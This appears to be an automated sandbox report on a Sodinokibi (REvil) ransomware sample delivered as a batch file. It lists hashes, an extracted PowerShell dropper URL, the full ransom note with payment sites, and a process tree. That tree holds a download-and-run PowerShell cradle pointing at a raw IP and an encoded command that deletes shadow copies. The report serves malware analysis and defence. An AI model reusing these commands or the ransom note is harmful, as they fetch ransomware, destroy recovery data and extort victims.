Analysis

  • max time kernel
    146s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7v200217
  • submitted
    16-03-2020 15:10

General

  • Target

    cprun25q.bat

  • Size

    191B

  • MD5

    933c2d6f2a9e95f8599e99854d455f7b

  • SHA1

    116e381213a8eaf45ddcdfe0244dac6be266c97b

  • SHA256

    45950a68862103c31265dcd6ae75237648ba61c0ee54b94073066f6e504196a7

  • SHA512

    ad93f3b86bd7912322f410b802ee8fa0a1aac97f14b46779b709997d039b361dde35740aedead01f3b40fea1ae7798ede468639c83ba5e2724b7c674e3733d2e

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/cprun25q

Extracted

Path

C:\652wmldd-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 652wmldd. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/AB72FEE4E2C58DDF 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/AB72FEE4E2C58DDF Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 2gWVK1lw9OFHQzxph5Z++WqPvVL8MofOT0B7T8iLi5oBx+n12ysbt2/DZcoHyTiK M3CcnDcnMf/Epyam2G1h2dIuLQ+8NVkqy0uoDBbX/K4XHS2ousVVb74L3fWRMpAu i/WlVlzfDG9LeBrGypxd2fVpathHipgFMdfRFKKUG2JyeeZTr2BKsgU1o/ajiAFi BhTJv5SxVbamWiHMJXA6gA/68pW81LbVT1bORhYmm0+p4ixSlPqSM0pJMv+u7mnH 2oQwUj2eJrvQmZwp41LYR1BPWwQpAGwDMKcr8QXMGNonae+YGmYIvgnaJRYLwzOt 4AiWd7nF8Dh107YUr23b3GedtH/Hc23ho+URsARM8/5wSru2yu4hYK+f4/enlgY4 lXlkPC24hcfINt6bYfvj7GwZAFMdp1FmItrri9UO3aUWGtXw1M8YxBof9UFa8v7R P5ZOR6+s8IgGTFrisUCDla8vD+itFvQE2ePcKqvqJnpaJfhZ2A/hmFJ8S8GbobXu FiAHoKAriToKVH1EW+iD7nyCWqih/fnW0fIoOxijY6p4monHl7jwVbnDvvB+TYta xoAyteCLzig/NgG5Hov86M+i7UC9Phx062PGb8X6HWJ9n5kaKX02VVtR7SNoqBwR GZOI0NE7YiGspyZKrUaZjts5WGbyzOtDZzL2artNyl60leakD+Miw8vRpkf/A0Do M0vbo8qZwMOP43KanEMF8PC4EkLzCDlVxBWqCU8LNK8Xwu8O05qJfvZXNn3pzwWI JHRoNl5UB47NOmjsbTrhBRa4kaC+sb0qI9HVsAXCIqXVXM+zCeg57CjAcEVQAw3v YidWTuPiXAS1N0GsHXAtFO3GyCHDcUHjzA5Ro/qyZgh3NyIl0YlAaFUVzG+45bL1 ehyMn0SFnria+A+thV8BhfWCXOXqTQQ2M49sEqWXCbHSfxQPpXGERGvmNLOhU2+E i89+EvBJ7SiLWWPvEMmqn5R/Zc9anrSPpY6XN3pXpEyg9xUxXtrBCOZh4suiZ31B U3Anc2V2oLN2PLuD4Wl25uEEnLOGoDfDDIyI4djZCQQARhGIzYPdidEJMMLRBwqS fL9EvYdYVyFv4WyuMiizIF6xQVx7Mg1aDhPjFZ9kQEvu8oLxVoMoAQYp9MLDbdIO phSGWdy8i1RZ8eDn83tHQM1JW9OlB7G/zPNwKIOCZMQekwbEhw4aul6GYUp9XLlo iff7yI/hA7a6bLjFlkafbdur596zKweZS+M0Ig/Ef2Aag3owK0OHP80zWbjNb6pu AEDTUCNNYmuj4Ajl4FNiFRmvKbneo7qcsl85vGLb/WyHe5x1 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/AB72FEE4E2C58DDF

http://decryptor.cc/AB72FEE4E2C58DDF

Signatures

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • Blacklisted process makes network request 131 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Discovering connected drives 3 TTPs 7 IoCs
  • Modifies service 2 TTPs 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\cprun25q.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    • Discovering connected drives
    PID:1868
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/cprun25q');Invoke-ZZAANJLA;Start-Sleep -s 10000"
      2⤵
      • Suspicious behavior: CmdExeWriteProcessMemorySpam
      • Suspicious use of WriteProcessMemory
      • Blacklisted process makes network request
      • Drops file in Program Files directory
      • Sets desktop wallpaper using registry
      • Modifies system certificate store
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      • Drops file in System32 directory
      • Discovering connected drives
      PID:1892
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious behavior: EnumeratesProcesses
        • Discovering connected drives
        PID:2000
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Modifies service
    PID:1016

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_266260b1-506b-46ee-8ffd-f74ade426d58

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_47931ed0-1f3a-4727-b467-1abba254408f

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_787e939b-6ce7-4022-b0df-f2cadaf1211f

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7b368953-2fc5-4e6c-ac0c-4e9ca5ec1dea

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9adcef47-d90e-41e7-bb27-93604e256a20

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f66dfe3c-3c50-4c57-9265-ac0c7644a88d

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

  • memory/1892-12-0x0000000008E36000-0x0000000008E8D000-memory.dmp

    Filesize

    348KB